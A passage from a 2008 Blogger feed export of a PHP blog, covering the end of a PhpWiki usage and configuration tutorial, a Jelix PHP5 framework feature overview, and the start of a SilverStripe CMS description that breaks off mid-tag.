href="http://www.phpbuilder.com/columns/phpwiki_screenshot3.jpg"&gt;screenshot  3&lt;/a&gt;) that are the wiki's default contents. From now on, anytime you  access the wiki you'll be redirected to the home page - &lt;em&gt;http://greenman.co.za/wiki/index.php/HomePage&lt;/em&gt; (&lt;a target="_blank" href="http://www.phpbuilder.com/columns/phpwiki_screenshot4.jpg"&gt;screenshot  4&lt;/a&gt;).&lt;/pre&gt;&lt;h3&gt;&lt;strong&gt;Using phpwiki&lt;/strong&gt;&lt;/h3&gt;&lt;p&gt;Wikis wouldn't be  popular if they weren't simple to use. Even the least technically proficient  user can get started very quickly. To make a change to a page, simply press &lt;em&gt;Edit&lt;/em&gt;, make  the changes you want, then press &lt;em&gt;Save&lt;/em&gt;. See &lt;a target="_blank" href="http://www.phpbuilder.com/columns/phpwiki_screenshot15.jpg"&gt;screenshot  15&lt;/a&gt; for what comes when editing the default home page. Notice that  there's only plain text in the textarea, nothing fancy. If you're new to wikis,  that what makes them so powerful. Anyone can edit them with almost no technical  knowledge. Most wikis have a section called the SandBox, which is designed to  allow people to test their editing and get to know the system. It doesn't  matter if someone messes it up as it contains no critical data, and after all,  it is designed for testing. In our newly-installed wiki, the whole site is  basically a sandbox, so we'll stick to editing the home page for now. Add some  text at the top of the page (&lt;a target="_blank" href="http://www.phpbuilder.com/columns/phpwiki_screenshot16.jpg"&gt;screenshot  16&lt;/a&gt;) and view your changes on the home page again (&lt;a target="_blank" href="http://www.phpbuilder.com/columns/phpwiki_screenshot17.jpg"&gt;screenshot  17&lt;/a&gt;). What could be easier?!&lt;/p&gt;&lt;p&gt;Of course, to make  the best use of your editing potential, it helps to learn a few tricks to  enable you to format the page nicely and to create links. PhpWiki makes it  really simple to add basic formatting, such as bold and italics. Simply  highlight the word, and click the bold or italic symbol, just like any ordinary  word processor. You'll see that the highlighted text gets surrounded by some  characters, and an asterisk before and after the text makes it bold (don't get  confused with a single asterisk at the start of the line, which creates a  bulleted list), and an underscore for italics (&lt;a target="_blank" href="http://www.phpbuilder.com/columns/phpwiki_screenshot18.jpg"&gt;screenshot  18&lt;/a&gt;, and &lt;a target="_blank" href="http://www.phpbuilder.com/columns/phpwiki_screenshot19.jpg"&gt;screenshot  19&lt;/a&gt; after saving). &lt;/p&gt;&lt;pre&gt;this *text is bold*&lt;/pre&gt;&lt;pre&gt;*bulleted item 1&lt;/pre&gt;&lt;pre&gt;*bulleted item 2&lt;/pre&gt;&lt;pre&gt;this _text is italicised_&lt;/pre&gt;&lt;pre&gt;You'll soon find  it easier to enter these special text characters as you type rather than  worrying about highlighting with the mouse, and you can then call yourself a  true wiki user. Have a look at the bottom of the edit page for more text that  doesn't appear in the shortcuts above (such as exclamation marks for a heading,  or a hash for a numbered list).&lt;/pre&gt;&lt;p&gt;Adding a link can  be done in the same way (the special character is a square bracket), but  there's an even easier way. You may have noticed that words such as &lt;em&gt;WikiWikiWeb&lt;/em&gt; and &lt;em&gt;SandBox&lt;/em&gt; are links, though they don't have any special characters around them. The  secret here is in the capitalization. If a word starts with a capital letter,  and has one or more capital letters later in the word, it's automatically a  link. The idea here is to combine two or more words into one page title. Try  adding some text, such as &lt;em&gt;TestPageOne&lt;/em&gt; and view the results after you've saved (&lt;a target="_blank" href="http://www.phpbuilder.com/columns/phpwiki_screenshot20.jpg"&gt;screenshot  20&lt;/a&gt;). You'll see that the word is underlined, with a question mark  after it. This means it's a link, but the page has not yet been created. Simply  click on the question mark, and you're immediately editing the new page. Create  the new page, but try not to make the newbie mistake of leaving the default  text (&lt;em&gt;Describe  [TestPageOne] here.&lt;/em&gt;) at the top of the page.&lt;/p&gt;&lt;p&gt;There's more to  editing. It doesn't have to be a hit and miss experience. I always preview a  page before finally saving it (the page jumps back to the editing part, but the  previewed page will be above that). You can also sign in in the bottom right  (no authentication is necessary by default) - you may have noticed that I've  been signed in if you've been viewing the screenshots. One of the advantages of  this is that PhpWiki keeps a record of changes made, and it usually helps if  others can see who made the change. If someone makes a change without signing  in, their IP is recorded instead, so it's still theoretically possible to track  them. &lt;/p&gt;&lt;p&gt;To view all  changes made to the system, go back to the home page (by clicking on the logo),  and then click &lt;em&gt;RecentChanges&lt;/em&gt; (&lt;a target="_blank" href="http://www.phpbuilder.com/columns/phpwiki_screenshot21.jpg"&gt;screenshot  21&lt;/a&gt;). Assuming you've been doing the same changes I have, you'll  notice only one change listed, even though you've actually edited the page  three times. The reason for this is that PhpWiki also takes note of the  difference between a major change and a minor change. The mechanism for this is  the little checkbox you may have noticed beneath the editing textarea that  reads &lt;em&gt;This is  a minor change&lt;/em&gt;. It's unchecked by default when a page is created,  and when a page is edited for the first time that day. If you click on the &lt;em&gt;RecentEdits&lt;/em&gt; link (at the top of the &lt;em&gt;RecentChanges&lt;/em&gt; page, you'll see that all three edits have  been recorded. (&lt;a target="_blank" href="http://www.phpbuilder.com/columns/phpwiki_screenshot22.jpg"&gt;screenshot  22&lt;/a&gt;)&lt;/p&gt;&lt;p&gt;When your wiki  gets larger, you may start to find that you're not only interested in links  that leave the page you're on (such as TestPageOne leading off HomePage), but  also the other way around. When you're on TestPageOne, you may want to know  which page(s) link to it. The answer here is provided by the BackLinks button.  On any page, click &lt;em&gt;BackLinks&lt;/em&gt;, and you'll get a list of all pages that link to  that particular page. Try this on your newly created TestPageOne (&lt;a target="_blank" href="http://www.phpbuilder.com/columns/phpwiki_screenshot23.jpg"&gt;screenshot  23&lt;/a&gt;).&lt;/p&gt;&lt;p&gt;Another commonly used  page reveals the edit history of a page. On Wikipedia for example, the history  is often as revealing as what's on the front page, especially for controversial  topics in the midst of an edit war. You can see a page's history by clicking  the &lt;em&gt;PageHistory&lt;/em&gt; button (&lt;a target="_blank" href="http://www.phpbuilder.com/columns/phpwiki_screenshot24.jpg"&gt;screenshot  24&lt;/a&gt;). There are more powerful features related to the history. As a  collaboration tool, tracking changes is very important. You can see the  difference between any two versions by checking the checkoxes next to those  versions. Take a look at the differences between the initial and current  versions of the HomePage for example (&lt;a target="_blank" href="http://www.phpbuilder.com/columns/phpwiki_screenshot25.jpg"&gt;screenshot  25&lt;/a&gt;). You'll also see that you can easily revert to an earlier  version (making post-vandalism repairs very easy).&lt;/p&gt;&lt;h3&gt;&lt;strong&gt;Changing the look&lt;/strong&gt;&lt;/h3&gt;&lt;p&gt;Like so many Open  Source applications, it's not only the coders who've contributed, but also the  designers. PhpWiki comes with a number of skins. Here's a list of those bundled  with PhpWiki: &lt;/p&gt;&lt;ul type="disc"&gt;  &lt;li&gt;Default (&lt;a target="_blank" href="http://www.phpbuilder.com/columns/phpwiki_screenshot5.jpg"&gt;screenshot 5&lt;/a&gt;) &lt;/li&gt;  &lt;li&gt;MacOSX (&lt;a target="_blank" href="http://www.phpbuilder.com/columns/phpwiki_screenshot6.jpg"&gt;screenshot 6&lt;/a&gt;) &lt;/li&gt;  &lt;li&gt;smaller (&lt;a target="_blank" href="http://www.phpbuilder.com/columns/phpwiki_screenshot7.jpg"&gt;screenshot 7&lt;/a&gt;) &lt;/li&gt;  &lt;li&gt;Wordpress (&lt;a target="_blank" href="http://www.phpbuilder.com/columns/phpwiki_screenshot8.jpg"&gt;screenshot 8&lt;/a&gt;) &lt;/li&gt;  &lt;li&gt;Portland       (&lt;a target="_blank" href="http://www.phpbuilder.com/columns/phpwiki_screenshot9.jpg"&gt;screenshot 9&lt;/a&gt;) &lt;/li&gt;  &lt;li&gt;Sidebar (&lt;a target="_blank" href="http://www.phpbuilder.com/columns/phpwiki_screenshot10.jpg"&gt;screenshot 10&lt;/a&gt;) &lt;/li&gt;  &lt;li&gt;Crao (&lt;a target="_blank" href="http://www.phpbuilder.com/columns/phpwiki_screenshot11.jpg"&gt;screenshot 11&lt;/a&gt;) &lt;/li&gt;  &lt;li&gt;wikilens (&lt;a target="_blank" href="http://www.phpbuilder.com/columns/phpwiki_screenshot12.jpg"&gt;screenshot 12&lt;/a&gt;). This is the same as the default, but       allows voting on pages. &lt;/li&gt;  &lt;li&gt;Hawaiian (&lt;a target="_blank" href="http://www.phpbuilder.com/columns/phpwiki_screenshot13.jpg"&gt;screenshot 13&lt;/a&gt;) &lt;/li&gt;  &lt;li&gt;SpaceWiki (&lt;a target="_blank" href="http://www.phpbuilder.com/columns/phpwiki_screenshot14.jpg"&gt;screenshot 14&lt;/a&gt;) &lt;/li&gt;&lt;/ul&gt;&lt;p&gt;To change the  theme associated with the wiki, open up config.ini, and scroll down to Part  Four, which lists all the available themes:&lt;/p&gt;&lt;pre&gt;;=========================================================================&lt;/pre&gt;&lt;pre&gt;;&lt;/pre&gt;&lt;pre&gt;; Part Four:&lt;/pre&gt;&lt;pre&gt;; Page appearance and layout&lt;/pre&gt;&lt;pre&gt;;=========================================================================&lt;/pre&gt;&lt;pre&gt;&amp;nbsp;&lt;/pre&gt;&lt;pre&gt;; THEME&lt;/pre&gt;&lt;pre&gt;;&lt;/pre&gt;&lt;pre&gt;; Most of the page appearance is controlled by files in the theme&lt;/pre&gt;&lt;pre&gt;; subdirectory.&lt;/pre&gt;&lt;pre&gt;;&lt;/pre&gt;&lt;pre&gt;; There are a number of pre-defined themes shipped with PhpWiki.&lt;/pre&gt;&lt;pre&gt;; You may also create your own (e.g. by copying and then modifying one of&lt;/pre&gt;&lt;pre&gt;; stock themes.)&lt;/pre&gt;&lt;pre&gt;;&lt;/pre&gt;&lt;pre&gt;;&amp;nbsp;&amp;nbsp; THEME = default&lt;/pre&gt;&lt;pre&gt;;&amp;nbsp;&amp;nbsp; THEME = MacOSX&lt;/pre&gt;&lt;pre&gt;;&amp;nbsp;&amp;nbsp; THEME = smaller&lt;/pre&gt;&lt;pre&gt;;&amp;nbsp;&amp;nbsp; THEME = Wordpress&lt;/pre&gt;&lt;pre&gt;;&amp;nbsp;&amp;nbsp; THEME = Portland&lt;/pre&gt;&lt;pre&gt;;&amp;nbsp;&amp;nbsp; THEME = Sidebar&lt;/pre&gt;&lt;pre&gt;;&amp;nbsp;&amp;nbsp; THEME = Crao&lt;/pre&gt;&lt;pre&gt;;&amp;nbsp;&amp;nbsp; THEME = wikilens (Ratings)&lt;/pre&gt;&lt;pre&gt;;&amp;nbsp;&amp;nbsp; THEME = Hawaiian&lt;/pre&gt;&lt;pre&gt;;&amp;nbsp;&amp;nbsp; THEME = SpaceWiki&lt;/pre&gt;&lt;pre&gt;;&amp;nbsp;&amp;nbsp; THEME = Hawaiian&lt;/pre&gt;&lt;pre&gt;;&lt;/pre&gt;&lt;pre&gt;;&lt;/pre&gt;&lt;pre&gt;; Problems:&lt;/pre&gt;&lt;pre&gt;;&lt;/pre&gt;&lt;pre&gt;;&amp;nbsp;&amp;nbsp; THEME = MonoBook (WikiPedia) [experimental. MSIE problems]&lt;/pre&gt;&lt;pre&gt;;&amp;nbsp;&amp;nbsp; THEME = blog&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; (Kubrick)&amp;nbsp; &amp;nbsp;[experimental. Several links missing]&lt;/pre&gt;&lt;pre&gt;;&lt;/pre&gt;&lt;pre&gt;THEME = default&lt;/pre&gt;&lt;pre&gt;Simply change the  uncommented line (lines beginning with a semicolon are commented out) &lt;em&gt;THEME = default&lt;/em&gt; to reflect the theme you want, for example &lt;em&gt;THEME = Crao&lt;/em&gt;. Note that if you're  experimenting with different themes, you may be thrown by the default caching  behaviour, thinking that the themes are not working. PhpWiki by default uses &lt;em&gt;LOOSE&lt;/em&gt; caching, which means that the page is cached until the next time it is edited  (so a theme change is only reflected after a new edit). You can change this  setting to &lt;em&gt;NO_CACHE&lt;/em&gt; in Part One of &lt;em&gt;config.ini&lt;/em&gt; if it's causing problems.&lt;/pre&gt;&lt;h3&gt;&lt;strong&gt;More configuration&lt;/strong&gt;&lt;/h3&gt;&lt;p&gt;Depending on the  nature of your wiki, you may not want just anybody editing, or even viewing,  your pages. You have quite a lot of flexibility with regards to this. Take a  deeper look in the &lt;em&gt;config.ini&lt;/em&gt; file. Part Three is what's relevant here. By  default, most options are set to their least strict possibility. &lt;em&gt;ALLOW_ANON_USER&lt;/em&gt; is set to true, so users don't have to log in to view the pages. Similarly, &lt;em&gt;ALLOW_ANON_EDIT&lt;/em&gt; is also true, so anonymous users can make edits. Even if they do log in, &lt;em&gt;ALLOW_BOGO_LOGIN&lt;/em&gt; is set to true, which means that no actual password authentication is  performed. There are all sorts of more rigorous alternatives, from Apache  authentication, IMAP authentication, LDAP authentication or external database  authentication. Have a look at the documentation in the config file for more  details.&lt;br /&gt;  There are many  more options. PhpWiki is certainly flexible. You can create user groups,  fine-tune the caching mechanism, implement spamassasin and captcha, persistent  sessions and much, much more! Take the time to read through the configuration  file carefully. You may find something that makes your life a lot easier.&lt;/p&gt;&lt;h3&gt;&lt;strong&gt;Conclusion&lt;/strong&gt;&lt;/h3&gt;&lt;p&gt;Although PhpWiki  can be finicky to install and configure when compared with other PHP  applications, it's a faithful clone of the original WikiWikiWeb, and is more  flexible than some of the alternatives. It's a powerful collaboration  tool--enjoy using it!&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Links&lt;/strong&gt;&lt;/p&gt;&lt;ul type="disc"&gt;  &lt;li&gt;&lt;a target="_blank" href="http://phpwiki.org/"&gt;phpwiki home page&lt;/a&gt; &lt;/li&gt;  &lt;li&gt;&lt;a target="_blank" href="http://phpwiki.sourceforge.net/phpwiki/PhpWikiDocumentation"&gt;phpwiki documentation&lt;/a&gt; &lt;/li&gt;  &lt;li&gt;&lt;a target="_blank" href="http://sourceforge.net/project/showfiles.php?group_id=6121"&gt;phpwiki download page from SourceForge&lt;/a&gt; &lt;/li&gt;  &lt;li&gt;&lt;a target="_blank" href="http://sourceforge.net/projects/phpwiki/"&gt;phpwiki       Sourceforge project page&lt;/a&gt; &lt;/li&gt;  &lt;li&gt;&lt;a target="_blank" href="http://freshmeat.net/projects/phpwiki/"&gt;phpwiki Freshmeat       project page&lt;/a&gt; &lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;em&gt;This article originally appeared on &lt;a target="_blank" href="http://www.phpbuilder.com/"&gt;PHPBuilder.com&lt;/a&gt;.&lt;/em&gt; &lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1150134339246982062-3805575355543375649?l=itsmeeashok.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://itsmeeashok.blogspot.com/feeds/3805575355543375649/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=1150134339246982062&amp;postID=3805575355543375649' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1150134339246982062/posts/default/3805575355543375649'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1150134339246982062/posts/default/3805575355543375649'/><link rel='alternate' type='text/html' href='http://itsmeeashok.blogspot.com/2008/05/phpwiki-wiki-for-php-developers.html' title='phpwiki - The Wiki for PHP Developers'/><author><name>Ashok Kumar S</name><uri>http://www.blogger.com/profile/16392927543676839906</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='31' src='http://bp1.blogger.com/_Rw07kWOIZdA/SCQdWMGX2kI/AAAAAAAAAFs/_vAXw1sBW4Y/S220/Globe.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1150134339246982062.post-3324916109339095168</id><published>2008-05-26T17:33:00.001+05:30</published><updated>2008-05-26T17:45:13.787+05:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='PHP Frameworks'/><title type='text'>Jelix - PHP5 Framework</title><content type='html'>&lt;h3&gt;General informations&lt;/h3&gt;&lt;DIV&gt;  &lt;p&gt;Jelix is a framework for PHP5, whose objective is to ease the development of   applications or Web sites of any kind. &lt;/p&gt;  &lt;p&gt;Here is what is proposed to developers: &lt;/p&gt;  &lt;UL&gt;    &lt;LI&gt;      &lt;DIV&gt;&lt;ACRONYM title="Application Programming Interface"&gt;API&lt;/ACRONYM&gt; dealing with numbers of technical aspects: data access, MVC model, templates,   output format generators (&lt;ACRONYM title="HyperText Markup Language"&gt;HTML&lt;/ACRONYM&gt;, &lt;ACRONYM title="XML User Interface Language"&gt;XUL&lt;/ACRONYM&gt;,&amp;hellip;), Web services (xml-&lt;ACRONYM title="Remote Procedure Call"&gt;RPC&lt;/ACRONYM&gt;, json-&lt;ACRONYM title="Remote Procedure Call"&gt;RPC&lt;/ACRONYM&gt;), forms generator, CRUD,   authentication, rights management, localization, etc&amp;hellip;&lt;/DIV&gt;    &lt;LI&gt;      &lt;DIV&gt;a modular structure and an organization of the files of the   project, imposing a framework and some developing standards.&lt;/DIV&gt;    &lt;LI&gt;      &lt;DIV&gt;a &amp;ldquo;layer&amp;rdquo; organization of the project: presentation, coordination,   service, business, persistence.&lt;/DIV&gt;    &lt;/LI&gt;  &lt;/UL&gt;  &lt;p&gt;These characteristics allow a better re-use of the code, a capitalization of   know-how, a better organization in the development, leading to a better   productivity. &lt;/p&gt;  &lt;p&gt;Jelix uses to the maximum of specificities of PHP5, in order to be the   lightest and most powerful possible. This is why a project based on Jelix is   100% object oriented. &lt;/p&gt;&lt;/DIV&gt;&lt;h3 id="features"&gt;Features&lt;/h3&gt;&lt;DIV&gt;&lt;/DIV&gt;&lt;H2 id="original-functions-and-characteristics"&gt;Original functions and   characteristics&lt;/H2&gt;&lt;DIV&gt;  &lt;UL&gt;    &lt;LI&gt;      &lt;DIV&gt;&lt;STRONG&gt;Modular architecture&lt;/STRONG&gt; : an application can be cut   out in several reusable modules. &lt;/DIV&gt;    &lt;LI&gt;      &lt;DIV&gt;&lt;STRONG&gt;Minimal guarantee on the data exchange&lt;/STRONG&gt; : Jelix   controls the generation of output formats according to the type of request. For   example, if we have a request for a &lt;ACRONYM title="Extensible Markup Language"&gt;XML&lt;/ACRONYM&gt;-&lt;ACRONYM title="Remote Procedure Call"&gt;RPC&lt;/ACRONYM&gt; web service, we cannot generate &lt;ACRONYM title="HyperText Markup Language"&gt;HTML&lt;/ACRONYM&gt;, the answer will be   obligatorily in &lt;ACRONYM title="Extensible Markup Language"&gt;XML&lt;/ACRONYM&gt;-&lt;ACRONYM title="Remote Procedure Call"&gt;RPC&lt;/ACRONYM&gt;. Si it offers a certain robustness   of the application in client/server communication. (Unless the developer does   not use objects from Jelix, because indeed nothing prevents from making an echo   of anything anywhere). &lt;/DIV&gt;    &lt;LI&gt;      &lt;DIV&gt;&lt;STRONG&gt;Generation of technical errors in specified   format&lt;/STRONG&gt; : thanks to the Jelix system described before, all the technical   errors are returned in the format awaited by the client. For example: no &lt;ACRONYM title="HyperText Markup Language"&gt;HTML&lt;/ACRONYM&gt; formatted error when   client is awaiting &lt;ACRONYM title="Extensible Markup Language"&gt;XML&lt;/ACRONYM&gt;-&lt;ACRONYM title="Remote Procedure Call"&gt;RPC&lt;/ACRONYM&gt; or &lt;ACRONYM title="Resource Description Framework"&gt;RDF&lt;/ACRONYM&gt; response.&lt;/DIV&gt;    &lt;LI&gt;      &lt;DIV&gt;&lt;STRONG&gt;Light and evolutionary template engine (jTpl)&lt;/STRONG&gt;,   with a syntax halfway between Smarty and &lt;ACRONYM title="Hypertext Preprocessor"&gt;PHP&lt;/ACRONYM&gt;. A plugin system like in Smarty is   also available. &lt;/DIV&gt;    &lt;LI&gt;      &lt;DIV&gt;&lt;STRONG&gt;jDao, object-relational mapping&lt;/STRONG&gt;, based on the DAO   design pattern (Data Access Object). Declared in &lt;ACRONYM title="Extensible Markup Language"&gt;XML&lt;/ACRONYM&gt; files, automatic generation of   its &lt;ACRONYM title="Structured Query Language"&gt;SQL&lt;/ACRONYM&gt; requests , handling   of security problems (&lt;ACRONYM title="Structured Query Language"&gt;SQL&lt;/ACRONYM&gt; injection etc&amp;hellip;).&lt;/DIV&gt;    &lt;LI&gt;      &lt;DIV&gt;&lt;STRONG&gt;Designation of files and resources by selectors&lt;/STRONG&gt;,   and not by physical ways, then bringing a certain independence to a module   towards the installation. &lt;/DIV&gt;    &lt;LI&gt;      &lt;DIV&gt;&lt;STRONG&gt;Event system&lt;/STRONG&gt; allowing module-to-module   communication. &lt;/DIV&gt;    &lt;LI&gt;      &lt;DIV&gt;&lt;STRONG&gt;Overload file&lt;/STRONG&gt; : it is possible to redefine some   files of a module without changing the originals (DAO, templates, properties).   Useful when a module is used by several applications at the same time, or to   facilitate the update of a third module.&lt;/DIV&gt;    &lt;/LI&gt;  &lt;/UL&gt;&lt;/DIV&gt;&lt;H2 id="modern-functions-and-characteristics"&gt;Modern functions and   characteristics&lt;/H2&gt;&lt;DIV&gt;  &lt;p&gt;Functions that we don&amp;rsquo;t find so often in frameworks: &lt;/p&gt;  &lt;UL&gt;    &lt;LI&gt;      &lt;DIV&gt;&lt;STRONG&gt;Web Services&lt;/STRONG&gt; : Jelix deals with analysis of the   content of requests, and the generation of the response. &lt;ACRONYM title="Extensible Markup Language"&gt;XML&lt;/ACRONYM&gt;-&lt;ACRONYM title="Remote Procedure Call"&gt;RPC&lt;/ACRONYM&gt; and JSON-&lt;ACRONYM title="Remote Procedure Call"&gt;RPC&lt;/ACRONYM&gt; are handled. Other types of services   Web are completely possible (&lt;ACRONYM title="Simple Object Access Protocol"&gt;SOAP&lt;/ACRONYM&gt;,&amp;hellip;). &lt;/DIV&gt;    &lt;LI&gt;      &lt;DIV&gt;&lt;STRONG&gt;Handling of RESTfull&lt;/STRONG&gt; : by simple implementation   of an interface: one can easily define what is done after &lt;ACRONYM title="Hyper Text Transfer Protocol"&gt;HTTP&lt;/ACRONYM&gt; GET/POST/PUT/DELETE   requests. &lt;/DIV&gt;    &lt;LI&gt;      &lt;DIV&gt;&lt;STRONG&gt;Themes system&lt;/STRONG&gt;: it is possible to define several   templates, each one redefining the template of modules. &lt;/DIV&gt;    &lt;LI&gt;      &lt;DIV&gt;&lt;STRONG&gt;Automatic system for &lt;ACRONYM title="Uniform Resource Locator"&gt;URL&lt;/ACRONYM&gt; generation and mapping&lt;/STRONG&gt; :   no complete &lt;ACRONYM title="Uniform Resource Locator"&gt;URL&lt;/ACRONYM&gt; in Jelix.   The framework has the responsibility to generate urls in the templates or   elsewhere, according to the configuration of &lt;ACRONYM title="Uniform Resource Locator"&gt;URL&lt;/ACRONYM&gt; mapping defined on actions   (mod_rewrite &amp;amp; co). &lt;/DIV&gt;    &lt;LI&gt;      &lt;DIV&gt;&lt;STRONG&gt;&lt;ACRONYM title="Hypertext Preprocessor"&gt;PHP&lt;/ACRONYM&gt; scripts for code generation&lt;/STRONG&gt; to execute in command liner, allowing fast   creation of various files of a project (module, DAO, template, controller, etc) &lt;/DIV&gt;    &lt;LI&gt;      &lt;DIV&gt;&lt;STRONG&gt;Technical cache system&lt;/STRONG&gt; : almost all non &lt;ACRONYM title="Hypertext Preprocessor"&gt;PHP&lt;/ACRONYM&gt; files of a Jelix project &amp;ldquo;are   compiled&amp;rdquo; in &lt;ACRONYM title="Hypertext Preprocessor"&gt;PHP&lt;/ACRONYM&gt; in order to   improve the performances (templates, DAO, events etc.).&lt;/DIV&gt;    &lt;LI&gt;      &lt;DIV&gt;&lt;STRONG&gt;UTF-8 compliant&lt;/STRONG&gt;: it's the default encoding of the   framework&lt;/DIV&gt;    &lt;LI&gt;      &lt;DIV&gt;&lt;STRONG&gt;Module dedicated to unit tests&lt;/STRONG&gt;: unit tests are   essentials to create a reliable application. So Jelix provide a module which has   an interface to launch unit tests and a simple way to create unit tests (using   simpleTest)&lt;/DIV&gt;    &lt;/LI&gt;  &lt;/UL&gt;&lt;/DIV&gt;&lt;H2 id="traditional-functions-and-characteristics"&gt;Traditional functions and   characteristics&lt;/H2&gt;&lt;DIV&gt;  &lt;p&gt;Functions which one finds in many frameworks: &lt;/p&gt;  &lt;UL&gt;    &lt;LI&gt;      &lt;DIV&gt;&lt;STRONG&gt;The architecture of the core is MVC type&lt;/STRONG&gt; (Model-View-Controller). A coordinator handles the execution of an action   according to the parameters in the &lt;ACRONYM title="Uniform Resource Locator"&gt;URL&lt;/ACRONYM&gt;. The possible actions are   implemented in classes of jController type (controllers).&lt;/DIV&gt;    &lt;LI&gt;      &lt;DIV&gt;Jelix provide &lt;STRONG&gt;several output generators&lt;/STRONG&gt; (jResponse objects): &lt;ACRONYM title="Extensible HyperText Markup Language"&gt;XHTML&lt;/ACRONYM&gt;, &lt;ACRONYM title="Cascading Style Sheets"&gt;CSS&lt;/ACRONYM&gt;, ATOM, &lt;ACRONYM title="Rich Site Summary"&gt;RSS&lt;/ACRONYM&gt;, &lt;ACRONYM title="Extensible Markup Language"&gt;XML&lt;/ACRONYM&gt;, &lt;ACRONYM title="Resource Description Framework"&gt;RDF&lt;/ACRONYM&gt;, &lt;ACRONYM title="XML User Interface Language"&gt;XUL&lt;/ACRONYM&gt;, &lt;ACRONYM title="XML User Interface Language"&gt;XUL&lt;/ACRONYM&gt; overlay, ZIP, &lt;ACRONYM title="Portable Document Format"&gt;PDF&lt;/ACRONYM&gt; (from Latex source files or with   TCPDF). Others formats are also possible.&lt;/DIV&gt;    &lt;LI&gt;      &lt;DIV&gt;&lt;STRONG&gt;Database access abstraction layer&lt;/STRONG&gt;: jDb relies on   PDO or its own classes (when PDO is not available) to access to the databases. &lt;/DIV&gt;    &lt;LI&gt;      &lt;DIV&gt;&lt;STRONG&gt;Localization&lt;/STRONG&gt;: you can have your application   translated in several languages. Storage of localized string is done in   properties files. &lt;/DIV&gt;    &lt;LI&gt;      &lt;DIV&gt;&lt;STRONG&gt;System of authentication and rights management&lt;/STRONG&gt;. &lt;/DIV&gt;    &lt;LI&gt;      &lt;DIV&gt;Use of &lt;ACRONYM title="Extensible Markup Language"&gt;XML&lt;/ACRONYM&gt;:   declaration of the events, DAOs etc, &amp;hellip; That makes it possible to facilitate   writing, generation and modifying these parts of a project by third-party tools   (for example with JelixEclipse, an eclipse plugin), and thus to increase   productivity.&lt;/DIV&gt;    &lt;/LI&gt;  &lt;/UL&gt;&lt;/DIV&gt;&lt;H2 id="how-does-jelix-work"&gt;How does Jelix work&lt;/H2&gt;&lt;DIV&gt;  &lt;p&gt;&lt;IMG alt="" src="http://jelix.org/images/schema_logic.png"&gt;&lt;/p&gt;  &lt;OL&gt;    &lt;LI&gt;      &lt;DIV&gt;an &lt;ACRONYM title="Hyper Text Transfer Protocol"&gt;HTTP&lt;/ACRONYM&gt; request calls Jelix. Jelix creates an instance of a jRequest object which   contains datas of the request. It then create an instance of your controller   which corresponds to the asked action.&lt;/DIV&gt;    &lt;LI&gt;      &lt;DIV&gt;A method in the controller is executed. It retrieves request   parameters in order to know which process to run.&lt;/DIV&gt;    &lt;LI&gt;      &lt;DIV&gt;Then the method execute business processes and retrieves   eventually some results which will be used for the response&lt;/DIV&gt;    &lt;LI&gt;      &lt;DIV&gt;The method of the controller create an instance of a jResponse   object which is setup with datas or else (initialization of templates   etc..).&lt;/DIV&gt;    &lt;LI&gt;      &lt;DIV&gt;Jelix gets this jResponse object, launch the generation of the   final document (html page, pdf..) and then sends it to the   browser.&lt;/DIV&gt;    &lt;/LI&gt;  &lt;/OL&gt;&lt;/DIV&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1150134339246982062-3324916109339095168?l=itsmeeashok.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://itsmeeashok.blogspot.com/feeds/3324916109339095168/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=1150134339246982062&amp;postID=3324916109339095168' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1150134339246982062/posts/default/3324916109339095168'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1150134339246982062/posts/default/3324916109339095168'/><link rel='alternate' type='text/html' href='http://itsmeeashok.blogspot.com/2008/05/jelix-php5-framework.html' title='Jelix - PHP5 Framework'/><author><name>Ashok Kumar S</name><uri>http://www.blogger.com/profile/16392927543676839906</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='31' src='http://bp1.blogger.com/_Rw07kWOIZdA/SCQdWMGX2kI/AAAAAAAAAFs/_vAXw1sBW4Y/S220/Globe.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1150134339246982062.post-878556670305645000</id><published>2008-05-20T17:56:00.003+05:30</published><updated>2008-05-20T19:18:53.206+05:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='PHP'/><category scheme='http://www.blogger.com/atom/ns#' term='Frameworks'/><title type='text'>SilverStripe</title><content type='html'>&lt;p&gt;SilverStripe is a &lt;a target="_blank" href="http://en.wikipedia.org/wiki/Free_and_open_source_software" title="Free and open source software"&gt;free and open source&lt;/a&gt; programming  framework and &lt;a target="_blank" href="http://en.wikipedia.org/wiki/Content_management_system" title="Content management system"&gt;content management system&lt;/a&gt; (CMS) for  creating and maintaining websites. The CMS provides an intuitive web-based  administration panel, allowing any person to maintain their website without  knowledge of markup or programming languages.&lt;/p&gt;&lt;p&gt;  SilverStripe offers a flexible &lt;a target="_blank" href="http://en.wikipedia.org/wiki/MVC" title="MVC"&gt;MVC&lt;/a&gt; development framework  known as Sapphire. Much like &lt;a target="_blank" href="http://en.wikipedia.org/wiki/Ruby_on_Rails" title="Ruby on Rails"&gt;Ruby on  Rails&lt;/a&gt;, but for &lt;a target="_blank" href="http://en.wikipedia.org/wiki/PHP" title="PHP"&gt;PHP&lt;/a&gt;,  it ensures developers are capable of extending and enhancing the functionality  of the CMS and the website. More importantly, SilverStripe provides developers  with complete control of the generated &lt;a 